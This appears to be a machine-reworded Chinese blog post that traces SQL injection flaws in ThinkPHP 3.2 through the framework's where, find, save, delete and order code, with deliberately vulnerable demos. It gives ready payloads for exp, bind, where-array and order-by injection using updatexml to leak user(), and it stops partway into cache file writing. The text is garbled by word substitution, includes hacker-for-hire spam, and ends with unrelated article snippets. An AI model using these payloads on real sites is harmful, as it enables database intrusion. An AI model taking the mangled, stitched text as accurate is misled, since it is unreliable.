ThinkPHP的系统漏洞剖析文章内容有很多,这儿我只是想一件事学习培训的全过程开展一个纪录,有点儿菜,期待巨头不必喷我。
在控制板中,写个demo,运用字符串数组 *** 做为where传参时存有引入
public function getuser(){
$user = M('User')->where('id='.I('id'))->find();
dump($user);
}
在自变量user地区开展中断点,PHPSTROM F7进到,I方式获得传到的主要参数
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD
39;]) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
......
重中之重看过虑涵数
先运用htmlspecialchars涵数过虑主要参数,在402行运用think_filter涵数过虑基本sql函数
function think_filter(&$value){
// TODO 别的安全性过虑
// 过虑查寻特殊符号
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
在where方式中,将$where的值放进到options["where"]数字能量数组中
再次跟踪查询find方式,第748行
$options = $this->_parseOptions($options);
在数字能量数组$options中提升'table'=>'tp_user','model'=>'User',接着F7跟踪select方式
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}
跟踪buildSelectSql方式,再次在跟踪parseSql方式,这儿能够 见到转化成详细的sql语句
这儿关键查询parseWhere方式
跟踪parseThinkWhere方式
protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串数组方式查询条件
$whereStr = $val;
break;
case '_complex':
// 复合型查询条件
$whereStr = substr($this->parseWhere($val),6);
break;
$key为_string,因此$whereStr为传到的主要参数的值,最终parserWhere方式回到(id=1p),因此最后payload为
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--
系统漏洞demo,这儿应用全局性数字能量数组开展传参(不能用I方式),系统漏洞才可以起效
public function getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
立即在$user开展中断点,F7跟踪,绕过where方式,跟踪find->select->buildSelectSql->parseSql->parseWhere
跟踪parseWhereItem方式,这时主要参数$val为一个数字能量数组,{'exp','sql注入exp'}
这时当$exp考虑exp时,将主要参数合值就可以了拼凑,因此最后paylaod为
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--
上边对于为什么不可以用I方式,缘故是在过虑涵数think_filter里能配对到exp标识符,因此在exp标识符后边加了一个空格符,造成在parseWhereItem方式中没法相当于exp。
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))
系统漏洞demo
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
F8跟踪save方式
转化成sql语句在update方式中
public function update($data,$options) {
$this->model = $options['model'];
&
nbsp; $this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,',')){// 多表升级适用JOIN实际操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表升级适用order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
在parseSet方式中,能够 将传到的主要参数换成:0
在bindParam方式中,$this->bind特性回到array(':0'=>变量值)
protected function bindParam($name,$value){
&nb
sp;$this->bind[':'.$name] = $value;
}
再次跟踪parseWhere->parseWhereItem方式,当exp为bind时,便会在变量值前边加个灶具(:)
因为在sql语句中有灶具,再次跟踪excute方式,这儿将:0换成了第二个主要参数的值
因此最后的payload为
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
先剖析find引入,在控制板中写个系统漏洞demo
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
当传到id[where]=1p情况下,在user开展中断点,F7跟踪find->_parseOptions方式
$options['where']为字符串数组,造成不可以实行_parseType方式转换数据信息,开展跟踪select->buildSelectSql->parseSql->parseWhere方式,传到的$where为字符串数组,立即实行了if语句
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 立即应用字符串数组标准
$whereStr = $where;
......
&
nbsp; }
return empty($whereStr)?'':' WHERE '.$whereStr;
当传到id=1p,就不可以开展引入了,实际缘故在find->_parseOptions->_parseType方式,将传到的主要参数开展了强转换为整形美容
因此,payload为
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
select和delete基本原理同find方式一样,仅仅delete方式多提升了一个分辨是不是为空
if(empty($options['where'])){
// 假如标准为空 不开展删掉实际操作 除非是设定 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk
span>];
}
if(false === $this->_before_delete($options)) {
return false;
}
先在控制板中写个系统漏洞demo
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
在user自变量处中断点,F7跟踪,find->select->buildSelectSql->parseSql方式
$this->parseOrder(!empty($options['order'])?$options['order']:''),
当$options['order']主要参数参在时,跟踪parseOrder ***
当不以数字能量数组时,立即回到order by 引入pyload,因此引入payload为
order=id and(updatexml(1,concat(0x7e,(select user())),0))
*** 黑客接单子实例教程在ThinkPHP3.2中,缓存文件涵数有F方式和S方式,2个方式有什么不同呢,官方网详细介绍以下
F方式:等于PHP内置的file_put_content和file_get_content涵数,沒有过多存有时间的概念,是文档存储数据信息的 *** 。常见于文档配备。
S方式:文档缓存文件,有性命时间,時间期满后缓存文件內容会获得升级。常见于单网页页面data缓存文件。
这儿F方式也不详细介绍了,直接看S方式
public function test(){
S('name',I('test'));
}
跟踪查询S方式
set方式写入缓存
跟踪filename方式,此方式获得载入文档的相对路径,储存在../Application/Runtime/Temp文件目录下
private function filename($name) {
$name = md5(C('DATA_CACHE_KEY').$name);
if(C('DATA_CACHE_SUBDIR')) {
// 应用根目录
$dir ='';
for($i=0;$i<C('DATA_PATH_LEVEL');$i ) {
$dir .= $name{$i}.'/';
}
if(!is_dir($this->options['temp'
].$dir)) {
mkdir($this->options['temp'].$dir,0755,true);
}
$filename = $dir.$this->options['prefix'].$name.'.php';
}else{
$filename = $this->options['prefix'].$name.'.php';
}
return $this->options['temp'].$filename;
}
并将S传到的name开展md5值做为文件夹名称,最后根据file_put_contents函数载入文档。
互联网怎样赚钱,利用合法漏洞免费赚钱方法,免费,是一个吸引用户的有力手段。从以前的单纯免费到现在的花样百出,在互联网时代,聪明的公司如何通过“免费”吸引用户,沉淀忠实用户,最终创造更大的盈利?...
现在很多社交应用都会通过上传通讯录提示用户知道自己有哪些潜在朋友,而一名网络安全研究人员发现,这样的功能在微信上可能存在潜在的漏洞风险,暴露了微信用户的电话号码。互联网安全研究员黑客接单网站易卜拉欣·...
CNVD-IDCNVD-2020-22665 公开日期:2020-04-13 危害级别:中 (AV:N/AC:L/Au:S/C:P/I:P/A:N) 影响产品:WordPress Contact Fo...
12月25日,12306数据库泄漏导致10多万用户密码被泄漏,这不,如今的APP火车票达人被爆数据库漏洞泄露300万用户密码,你认为网络订票还安全吗? @多此一举:本来我就不是很相信网络,特别是...
作者 | James Kettle 译者 | Aaron 来源 | https://portswigger.net/research/top-10-web-hacking-techniq...